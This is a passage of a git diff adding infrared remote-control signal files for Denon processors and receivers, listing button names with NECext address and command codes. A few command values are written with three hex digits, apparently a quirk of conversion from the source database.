b/assets/resources/infrared/_CSV-IRDB_/Denon/Processor/12,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: LEFT_ARROW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 7F 00 00 00 +# +name: DBS_ZONE_2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 8A 00 00 00 +# +name: ZN2_VOL_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 8D 00 00 00 +# +name: ZONE_2_VOL_+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 8D 00 00 00 +# +name: ZONE_2_VOL_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 8E 00 00 00 +# +name: ZONE_2_VOL_- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 8E 00 00 00 +# +name: PHONO_ZONE_2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 8F 00 00 00 +# +name: SOURCE_TOGGLE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 90 00 00 00 +# +name: ZONE_2_CD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 90 00 00 00 +# +name: ZONE_2_IPOD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 90 00 00 00 +# +name: CD_ZONE_2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 90 00 00 00 +# +name: TUNER_ZONE_2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 91 00 00 00 +# +name: VDP_ZONE_2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 92 00 00 00 +# +name: ZONE2_MUSICSERVER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 93 00 00 00 +# +name: V_AUX_ZONE_2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 93 00 00 00 +# +name: VCR_1_ZONE_2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 94 00 00 00 +# +name: VCR2_ZONE_2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 99 00 00 00 +# +name: TV_ZONE_2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 9B 00 00 00 +# +name: TAPE_ZONE_2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 9C 00 00 00 +# +name: SURR_STEREO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 9D 00 00 00 +# +name: SURR_DIRECT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 9E 00 00 00 +# +name: SYSTEM_SETUP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A0 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A0 00 00 00 +# +name: SURR_PARAMETER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A1 00 00 00 +# +name: SEARCH_PARAMETER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A1 00 00 00 +# +name: UP_ARROW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A3 00 00 00 +# +name: DOWN_ARROW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A4 00 00 00 +# +name: SURR_5CH/7CH_STEREO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A8 00 00 00 +# +name: 7_CHANNEL +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A8 00 00 00 +# +name: VIDEO_OFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: B2 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: B6 00 00 00 +# +name: ZONE_2_DVD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: BE 00 00 00 +# +name: DVD_ZONE_2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: BE 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D8 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Processor/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Processor/2,-1.ir new file mode 100644 index 000000000..900f8d107 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Processor/2,-1.ir @@ -0,0 +1,392 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER_ZONE_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 48 00 00 00 +# +name: PHONO_ZONE_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 49 00 00 00 +# +name: CD_ZONE_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4A 00 00 00 +# +name: DVD_ZONE_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4E 00 00 00 +# +name: VDP_ZONE_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4F 00 00 00 +# +name: TV_ZONE_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 52 00 00 00 +# +name: DBS_ZONE_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 53 00 00 00 +# +name: VCR_1_ZONE_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 54 00 00 00 +# +name: VCR2_ZONE_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 55 00 00 00 +# +name: V_AUX_ZONE_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 57 00 00 00 +# +name: TAPE_ZONE_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 5B 00 00 00 +# +name: ZONE_3_VOL_- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 65 00 00 00 +# +name: ZONE_3_VOL_+ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 66 00 00 00 +# +name: SURR_PUREDIRECT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 6A 00 00 00 +# +name: SUR_PUREDIRECT_MAIN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 6A 00 00 00 +# +name: ZONE_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 79 00 00 00 +# +name: POWER_ON_ZN_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 7B 00 00 00 +# +name: POWER_ON_ZONE_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 7B 00 00 00 +# +name: POWER_OFF_ZN_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 7C 00 00 00 +# +name: POWER_OFF_ZONE_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 7C 00 00 00 +# +name: POWER_ON_ZONE_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 7D 00 00 00 +# +name: POWER_OFF_ZONE_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 7E 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C3 00 00 00 +# +name: PHONO_MAIN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C3 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C4 00 00 00 +# +name: IPOD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C4 00 00 00 +# +name: CD_MAIN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C4 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C5 00 00 00 +# +name: TUNER_MAIN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C5 00 00 00 +# +name: DBS +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C8 00 00 00 +# +name: DBS_MAIN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C8 00 00 00 +# +name: CABLE_TV +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C9 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C9 00 00 00 +# +name: TV_MAIN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C9 00 00 00 +# +name: USER_1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C9 00 00 00 +# +name: VDP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CA 00 00 00 +# +name: VDP_MAIN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CA 00 00 00 +# +name: MUSIC_SERVER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CC 00 00 00 +# +name: VIDEO_AUX +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CC 00 00 00 +# +name: V_AUX_MAIN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CC 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CD 00 00 00 +# +name: VCR_1_MAIN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CD 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CE 00 00 00 +# +name: VCR2_MAIN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CE 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D2 00 00 00 +# +name: TAPE_MAIN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D2 00 00 00 +# +name: VIDEO_SELECT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D8 00 00 00 +# +name: RIGHT_ARROW +type: parsed +protocol: NECext +address: 02 00 00 00 +command: DD 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: DF 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: DF 00 00 00 +# +name: SELECT/ENTER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E0 00 00 00 +# +name: POWER_ON_MAIN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E1 00 00 00 +# +name: POWER_OFF_MAIN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E2 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E3 00 00 00 +# +name: DVD_MAIN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E3 00 00 00 +# +name: SURR_STANDARD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E4 00 00 00 +# +name: SURR_STD_MAIN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E4 00 00 00 +# +name: SURR_SIM_MAIN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E6 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 02 00 00 00 +command: EA 00 00 00 +# +name: SPEAKER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: ED 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F0 00 00 00 +# +name: VOLUME_+_MAIN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F1 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F1 00 00 00 +# +name: VOLUME_-_MAIN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F2 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Processor/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Processor/4,-1.ir new file mode 100644 index 000000000..9423d658f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Processor/4,-1.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: SURROUND_CINEMA +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 95 00 00 00 +# +name: SURR_CINEMA_MAIN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 95 00 00 00 +# +name: SURR_MUSIC_MAIN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 96 00 00 00 +# +name: SURR_GAME_MAIN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 97 00 00 00 +# +name: NIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 98 00 00 00 +# +name: ROOM_EQ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 9D 00 00 00 +# +name: EQUALIZER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 9D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Processor/4,1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Processor/4,1.ir new file mode 100644 index 000000000..2b5e33381 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Processor/4,1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: USER_2 +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 125 00 00 00 +# +name: USER_3 +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 126 00 00 00 +# +name: SURR_DIRECT_MAIN +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 131 00 00 00 +# +name: AUX_MAIN +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2C7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Processor/4,3.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Processor/4,3.ir new file mode 100644 index 000000000..a9322a8ce --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Processor/4,3.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: AUX_ZONE_2 +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2C7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Processor/4,5.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Processor/4,5.ir new file mode 100644 index 000000000..b0189832d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Processor/4,5.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: AUX_ZONE_3 +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 2C7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/12,-1.ir new file mode 100644 index 000000000..80df0037b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/12,-1.ir @@ -0,0 +1,788 @@ +Filetype: IR signals file +Version: 1 +# +name: 1_/_9 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 42 00 00 00 +# +name: 2_/_10 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 43 00 00 00 +# +name: 3_/_11 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 44 00 00 00 +# +name: 4_/_12 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 45 00 00 00 +# +name: 5_/_13 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 46 00 00 00 +# +name: 6_/_14 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 47 00 00 00 +# +name: 7_/_15 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 48 00 00 00 +# +name: 8_/_16 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 49 00 00 00 +# +name: SHIFT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 4A 00 00 00 +# +name: MUTING_/_MUTE_TOGGLE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 4B 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 4C 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 4D 00 00 00 +# +name: PRESET_CHANNEL_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 4E 00 00 00 +# +name: PRESET_CHANNEL_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 4F 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 50 00 00 00 +# +name: INPUT_VCR1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 52 00 00 00 +# +name: INPUT_VIDEO1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 53 00 00 00 +# +name: INPUT_DVD/VDP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 54 00 00 00 +# +name: INPUT_VCR2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 57 00 00 00 +# +name: INPUT_PHONO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 58 00 00 00 +# +name: INPUT_TUNER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 59 00 00 00 +# +name: INPUT_CD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5A 00 00 00 +# +name: INPUT_V.AUX +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: INPUT_CDR/TAPE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5C 00 00 00 +# +name: INPUT_DAT/TAPE1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5D 00 00 00 +# +name: INPUT_DAT/TAPE2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5E 00 00 00 +# +name: VIDEO_SELECT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 62 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 68 00 00 00 +# +name: SPEAKER_B +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 69 00 00 00 +# +name: SPEAKER_A +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 6A 00 00 00 +# +name: CENTER_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 6B 00 00 00 +# +name: CENTER_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 6C 00 00 00 +# +name: REAR_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 6D 00 00 00 +# +name: REAR_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 6E 00 00 00 +# +name: CENTER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 70 00 00 00 +# +name: REAR +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 71 00 00 00 +# +name: DBS/BS +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 73 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 74 00 00 00 +# +name: AUDIO_MULTI +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 75 00 00 00 +# +name: DELAY_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 77 00 00 00 +# +name: DELAY_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 78 00 00 00 +# +name: SURROUND_MODE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 79 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 7A 00 00 00 +# +name: TEST_TONE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 7B 00 00 00 +# +name: 3CH.LOGIC +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 7C 00 00 00 +# +name: BYPASS +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 7D 00 00 00 +# +name: STATUS_/_OSD_/_PANEL +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 7E 00 00 00 +# +name: CURSOR/ARROW_LEFT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 7F 00 00 00 +# +name: LEVEL_ALL_BASS_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 80 00 00 00 +# +name: SURROUND_MODE_DTS +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 81 00 00 00 +# +name: SB_SPEAKER_TOGGLE_ON/OFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 82 00 00 00 +# +name: VOLUME_PRESET_1_(0DB) +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 83 00 00 00 +# +name: VOLUME_PRESET_2_(-20DB) +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 85 00 00 00 +# +name: VOLUME_PRESET_3_(-40DB) +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 86 00 00 00 +# +name: ZONE2_VOLUME_PRESET_1_(0DB) +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 87 00 00 00 +# +name: ZONE2_VOLUME_PRESET_2_(-20DB) +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 88 00 00 00 +# +name: ZONE2_VOLUME_PRESET_3_(-40DB) +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 89 00 00 00 +# +name: ZONE2_DBS/SAT/CABLE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 8A 00 00 00 +# +name: SURROUND_MODE_HOME_THX_CINEMA +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 8B 00 00 00 +# +name: ZONE3_VOLUME_PRESET_1_(0DB) +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 8C 00 00 00 +# +name: ZONE2_VOLUME_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 8D 00 00 00 +# +name: ZONE2_VOLUME_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 8E 00 00 00 +# +name: ZONE2_INPUT_PHONO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 8F 00 00 00 +# +name: ZONE2_INPUT_CD/IPOD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 90 00 00 00 +# +name: ZONE2_INPUT_TUNER/HD_RADIO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 91 00 00 00 +# +name: ZONE2_INPUT_BD/HDP/DVD/VDP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 92 00 00 00 +# +name: ZONE2_INPUT_V.AUX +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 93 00 00 00 +# +name: ZONE2_INPUT_GAME/VCR1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 94 00 00 00 +# +name: ZONE2_INPUT_CDR/TAPE2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 95 00 00 00 +# +name: ZONE2_MULTI_PRESET_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 96 00 00 00 +# +name: ZONE2_MULTI_PRESET_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 97 00 00 00 +# +name: ZONE2_INPUT_AUX +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 98 00 00 00 +# +name: ZONE2_INPUT_DVR/VCR2/AUX +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 99 00 00 00 +# +name: ZONE2_INPUT_VCR3 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 9A 00 00 00 +# +name: ZONE2_INPUT_TV/DBS/CABLE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 9B 00 00 00 +# +name: ZONE2_INPUT_CDR/TAPE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 9C 00 00 00 +# +name: SURROUND_MODE_STEREO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 9D 00 00 00 +# +name: SURROUND_MODE_DIRECT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 9E 00 00 00 +# +name: ZONE3_VOLUME_PRESET_2_(-20DB) +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 9F 00 00 00 +# +name: MENU_/_SYSTEM_SETUP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A0 00 00 00 +# +name: SURROUND_PARAMETER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A1 00 00 00 +# +name: ZONE3_VOLUME_PRESET_3_(-40DB) +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A2 00 00 00 +# +name: CURSOR/ARROW_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A3 00 00 00 +# +name: CURSOR/ARROW_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A4 00 00 00 +# +name: OUTPUT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A5 00 00 00 +# +name: RCVR_EFFECT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A6 00 00 00 +# +name: INPUT_ADJ_(V) +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A7 00 00 00 +# +name: SURROUND_MODE_5/7/MULTI_CH_STEREO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A8 00 00 00 +# +name: SURROUND_MODE_2CH_STEREO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: A9 00 00 00 +# +name: SURROUND_MODE_MULTI_CH_STEREO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: AA 00 00 00 +# +name: TUNER_SHIFT_F +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: AB 00 00 00 +# +name: AUDIO_FUNCTION +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: AC 00 00 00 +# +name: VIDEO_FUNCTION +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: AD 00 00 00 +# +name: TUNER_SHIFT_G +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: AE 00 00 00 +# +name: SPEAKER_CH_LEVEL/SELECT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: AF 00 00 00 +# +name: SPEAKER_CH_VOLUME_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: B0 00 00 00 +# +name: SPEAKER_CH_VOLUME_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: B1 00 00 00 +# +name: VIDEO_OFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: B2 00 00 00 +# +name: INPUT_MODE_EXT_IN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: B5 00 00 00 +# +name: INPUT_MODE_TOGGLE_ANALOG/DIGITAL +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: B6 00 00 00 +# +name: LEVEL_ALL_TREBLE_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: B7 00 00 00 +# +name: LEVEL_ALL_TREBLE_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: B8 00 00 00 +# +name: TUNER_SHIFT_A +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: B9 00 00 00 +# +name: TUNER_SHIFT_B +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: BA 00 00 00 +# +name: TUNER_SHIFT_C +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: BB 00 00 00 +# +name: TUNER_SHIFT_D +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: BC 00 00 00 +# +name: TUNER_SHIFT_E +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: BD 00 00 00 +# +name: ZONE2_INPUT_DVD/VDP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: BE 00 00 00 +# +name: LEVEL_ALL_BASS_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: BF 00 00 00 +# +name: TUNER_PRESET/CHANNEL/XM_1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: C1 00 00 00 +# +name: TUNER_PRESET/CHANNEL/XM_2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: C2 00 00 00 +# +name: TUNER_PRESET/CHANNEL/XM_3 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: C3 00 00 00 +# +name: TUNER_PRESET/CHANNEL/XM_4 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: C4 00 00 00 +# +name: TUNER_PRESET/CHANNEL/XM_5 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: C5 00 00 00 +# +name: TUNER_PRESET/CHANNEL/XM_6 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: C6 00 00 00 +# +name: TUNER_PRESET/CHANNEL/XM_7 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: C7 00 00 00 +# +name: TUNER_PRESET/CHANNEL/XM_8 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: C8 00 00 00 +# +name: TUNER_PRESET/CHANNEL/XM_9 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: C9 00 00 00 +# +name: TUNER_PRESET/CHANNEL/XM_0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: CA 00 00 00 +# +name: TUNER_MEMORY +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: CC 00 00 00 +# +name: TUNER_SHIFT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: CD 00 00 00 +# +name: TUNER_RT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: CE 00 00 00 +# +name: TUNER_DIRECT/RDS_SEARCH +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D2 00 00 00 +# +name: TUNER_PTY +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D4 00 00 00 +# +name: TUNER_PRESET/CHANNEL_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D5 00 00 00 +# +name: TUNER_PRESET/CHANNEL_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D6 00 00 00 +# +name: TUNER_BAND_TOGGLE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D7 00 00 00 +# +name: TUNER_TUNING_MODE_AUTO/MANUAL +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D8 00 00 00 +# +name: TUNER_TUNING/SCAN_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D9 00 00 00 +# +name: TUNER_TUNING/SCAN_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: DA 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/2,-1.ir new file mode 100644 index 000000000..b3888e873 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/2,-1.ir @@ -0,0 +1,614 @@ +Filetype: IR signals file +Version: 1 +# +name: PHONO 